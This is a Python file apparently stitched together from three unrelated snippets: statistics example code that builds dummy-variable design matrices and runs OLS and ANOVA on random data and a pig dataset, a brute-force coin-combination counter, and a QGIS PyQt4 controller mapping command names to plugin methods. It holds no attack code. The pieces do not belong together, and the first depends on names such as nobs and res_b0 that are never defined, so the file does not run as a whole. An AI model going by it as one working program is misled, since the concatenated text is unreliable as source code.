testdataint = np.random.randint(3, size=(nobs,4)).view([('a',int),('b',int),('c',int),('d',int)])
testdatacont = np.random.normal( size=(nobs,2)).view([('e',float), ('f',float)])
dt2 = numpy.lib.recfunctions.zip_descr((testdataint, testdatacont),flatten=True)
# concatenate structured arrays
testdata = np.empty((nobs,1), dt2)
for name in testdataint.dtype.names:
    testdata[name] = testdataint[name]
for name in testdatacont.dtype.names:
    testdata[name] = testdatacont[name]

#print(form2design('a',testdata))

if 0:
    xx, n = form2design('F:a',testdata)
    print(xx)
    print(form2design('P:a*b',testdata))
    print(data2proddummy((np.c_[testdata['a'],testdata['b']])))

    xx, names = form2design('a F:b P:c*d',testdata)

#xx, names = form2design('I a F:b F:c F:d P:c*d',testdata)
xx, names = form2design('I a F:b P:c*d', testdata)
xx, names = form2design('I a F:b P:c*d G:a*e f', testdata)

X = np.column_stack([xx[nn] for nn in names])
# simple test version: all coefficients equal to one
y = X.sum(1) + 0.01*np.random.normal(size=(nobs))
rest1 = OLS(y,X).results
print(rest1.params)
print(anova_str % anovadict(rest1))

def dropname(ss, li):
    '''drop names from a list of strings,
    names to drop are in space delimited list
    does not change original list
    '''
    newli = li[:]
    for item in ss.split():
        newli.remove(item)
    return newli

X = np.column_stack([xx[nn] for nn in dropname('ae f', names)])
# simple test version: all coefficients equal to one
y = X.sum(1) + 0.01*np.random.normal(size=(nobs))
rest1 = OLS(y,X).results
print(rest1.params)
print(anova_str % anovadict(rest1))

# Example: from Bruce
# -------------------

# read data set and drop rows with missing data
dta = np.genfromtxt('dftest3.data', dt_b,missing='.', usemask=True)
print('missing', [dta.mask[k].sum() for k in dta.dtype.names])
m = dta.mask.view(bool)
droprows = m.reshape(-1,len(dta.dtype.names)).any(1)
# get complete data as plain structured array
# maybe does not work with masked arrays
dta_use_b1 = dta[~droprows,:].data
print(dta_use_b1.shape)
print(dta_use_b1.dtype)

#Example b1: variables from Bruce's glm

# prepare data and dummy variables
xx_b1, names_b1 = form2design('I F:sex age', dta_use_b1)
# create design matrix
X_b1 = np.column_stack([xx_b1[nn] for nn in dropname('', names_b1)])
y_b1 = dta_use_b1['y']
# estimate using OLS
rest_b1 = OLS(y_b1, X_b1).results
# print(results)
print(rest_b1.params)
print(anova_str % anovadict(rest_b1))
#compare with original version only in original version
print(anova_str % anovadict(res_b0))

# Example: use all variables except pig identifier

allexog = ' '.join(dta.dtype.names[:-1])
#'breed sex litter pen pig age bage'

xx_b1a, names_b1a = form2design('I F:breed F:sex F:litter F:pen age bage', dta_use_b1)
X_b1a = np.column_stack([xx_b1a[nn] for nn in dropname('', names_b1a)])
y_b1a = dta_use_b1['y']
rest_b1a = OLS(y_b1a, X_b1a).results
print(rest_b1a.params)
print(anova_str % anovadict(rest_b1a))

for dropn in names_b1a:
    print('\nResults dropping', dropn)
    X_b1a_ = np.column_stack([xx_b1a[nn] for nn in dropname(dropn, names_b1a)])
    y_b1a_ = dta_use_b1['y']
    rest_b1a_ = OLS(y_b1a_, X_b1a_).results
    #print(rest_b1a_.params
    print(anova_str % anovadict(rest_b1a_))


coins=[1,2,5,10,20,50,100]

def combos(N):
    count=1
    rem0=N
    for n0 in range(0,rem0//coins[0]+1):
      rem1=rem0-n0*coins[0]
      for n1 in range(0,rem1//coins[1]+1):
        rem2=rem1-n1*coins[1]
        if rem2 % 5 == 0:
          for n2 in range(0,rem2//coins[2]+1):
            rem3=rem2-n2*coins[2]
            for n3 in range(0,rem3//coins[3]+1):
              rem4=rem3-n3*coins[3]
              for n4 in range(0,rem4//coins[4]+1):
                rem5=rem4-n4*coins[4]
                for n5 in range(0,rem5//coins[5]+1):
                  rem6=rem5-n5*coins[5]
                  for n6 in range(0,rem6//coins[6]+1):
                    rem=rem6-n6*coins[6]
                    if rem==0:
                      count+=1
    return count

if __name__=="__main__":
    print(combos(200))


#! -*- coding: UTF-8 -*-
from qgis.utils import iface
from PyQt4.QtCore import QObject

class Controlador(QObject):
    def __init__(self, model, view1, view2, view3):
        QObject.__init__(self)
        view1.setController(self)
        view2.setController(self)
        view3.setController(self)
        model.setController(self)
        self.model = model
        self.view1 = view1
        self.view2 = view2
        self.view3 = view3
        self.initCommands()

    def initCommands(self):
        self.commands = {
                        'open main interface': self.view2.showDialog,
                        'config functionCrs' : self.model.configFunctionCrs ,
                        'open interface to create database' : self.view3.showDialog,
                        'open interface military simbology': self.view1.showButton,
                        'create database' : self.model.createDataBase,
                        'select src' : self.view3.setSrc,
                        'select Folder' : self.view3.setFolder,
                        'select database' : self.view2.setDataBase ,
                        'load allied' : self.model.loadLayer,
                        'load enemy' : self.model.loadLayer,
                        'set styles' : self.model.reloadLayersStyles,
                        'upload error' : self.view2.msg,
                        'set current database': self.model.setCurrentSqlite,
                        'created successfully': self.view3.msg,
			            'disable src dynamic' : self.model.disableCrs
                        }

    def runCommand(self, cmd, param1 = None):
        if param1:
            self.commands[cmd](param1)
        else:
            self.commands[cmd]()